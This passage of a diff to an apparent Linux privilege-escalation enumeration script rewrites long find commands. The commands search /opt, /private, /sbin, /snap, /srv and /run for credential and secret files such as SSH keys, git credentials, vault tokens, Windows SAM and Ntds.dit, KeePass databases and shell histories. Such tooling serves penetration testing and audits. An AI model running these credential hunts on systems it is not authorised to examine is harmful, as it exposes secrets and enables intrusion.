-o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"sess_*\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_OPT=`eval_bckgrd "find /opt -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_PRIVATE=`eval_bckgrd "find /private -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
   FIND_RUN=`eval_bckgrd "find /run -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_SBIN=`eval_bckgrd "find /sbin -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_SNAP=`eval_bckgrd "find /snap -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_SRV=`eval_bckgrd "find /srv -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_SBIN=`eval_bckgrd "find /sbin -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name 